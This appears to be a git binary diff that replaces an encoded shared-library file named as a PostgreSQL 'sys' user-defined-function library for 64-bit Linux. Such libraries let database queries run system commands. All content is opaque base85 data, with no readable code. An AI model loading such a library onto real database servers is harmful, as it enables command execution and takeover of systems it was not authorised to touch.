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 diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ index 1609227d01a47905e5bb2d80b50e5dc8208edb0f..10fba3c28863024bdc1d3220ab74a53f55708a17 100644 GIT binary patch literal 2633 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 r{i}$l8k={`QNDFWD2EPp9 ztQfV3p<VPu8iG}Ej;#ik#D=9VPnEgW3IQ+w4 z`3zwF)S4Wg*SzD;W4H?CHxN|&8@Gt!fGH3ji6Rd735&5;uD|Y%lr@Pg4`s*PN*9@q zF$S$dw~*#2nKA6`Ci5z!0{{y=89il6iAb|4c?xA+%b`KPX7Px`)ax`hwTa|H+S_Z; z-meqiu&;yYkh5A{*joI?Ovr9tFgL1nB$$Tu3Q`@vv_hrslF~o%$ALPs=okup`6Cw& zES=+I6q~p4lrNU<4qhZ7xs(;GcT2Mnxz`*GaDW^cD|ZiqZ3d&v2$CSKI5^17I7iFv zM7MQ8-T+C&_CNl%7Y8C?bKy+O(95OPT{OD;!d_9FdwCyHw6GB^yiU1yXy&5G1p`Bu))zNX+nOuP72Z=D= z2iz3?%Y2hz@R&f8rZ>fmfpKR1MbaR7qhT)gGB7>{Rg!(_F}8Kt3$SC&9zH?sVk+n0mf*qvLAL#TLDP1}XIbFleXn`VUk1AJo=&1^&Y=&C;qLl)PZ7 zelv(*KWoQMIyQ_>{b&`#vsyC>VT>srt?RKb_RGkcN6t6+{Y9C9y})qUlYr5dHE5mF zHP^!tU+p^*N45KIfXlUPqp9_NpX&;89UvwEVBi^=C;^-?#Z(AAMamtNidG%Z#h@XHQ>^QCElg<^*3Pn#wC4l9=xP#!V zr*H~*#Ci#7&X4TTLRUh{ESkdRC*)z3jc(%Lc~KbCi38e)^_p(7J|0{T2rhAMAi#)W zA=!gTv>oHoIUc8zOb4+HAzKx$iuqOYud{h6L!E4U>X^#v8f>=uuK~oJ6uS9G9ct2b zApxDp9HpQt<{EhpS?5M-IdsUGCXo5xwD_Y(e);^1ghUadmTyt+>E%u`h$e-21*)Om ztC*3Pf+tgnJ^~iKmgwgQ&b2>c5IyLd0kBxsy>rN+bsoZk1$Gj@J(9z$yc&$WAvj*> zCDXu3-aF4nEn@Ix)jgp^(L1k$&Y`>5Of^-Vi=9~W0+OMt;ZMI*-ywgK5P@#Sb>Z?Y zg1-dB;D_|wo5s3C9;)DmKrl}nrtTl8;FeD(^qV=usZS;35t0aFsj#tY{|`S(IibQX z9o?BfeRCW=xJ}x=SpPdC@}m^12(+^NnY|H<5_&kX{JS86xsNpAyi0)<)03*ID6@{uifKgBKT40(jV`ir={vKl%uSVH$=i>j zwMMs8f+hpA(#&&2n5OtEBCbc{CB8?u5nVfYQ>mnp%}-P{mpebN9EDG?+{?n+D@C-^ zkj#qRF)=u7dmbHm>o5f8W4*gm{4Zp?fRR6b2euQS88703{z2`D4(`F+&c!LawZYMm z)boCGv8I8@z-~s-4Eccin 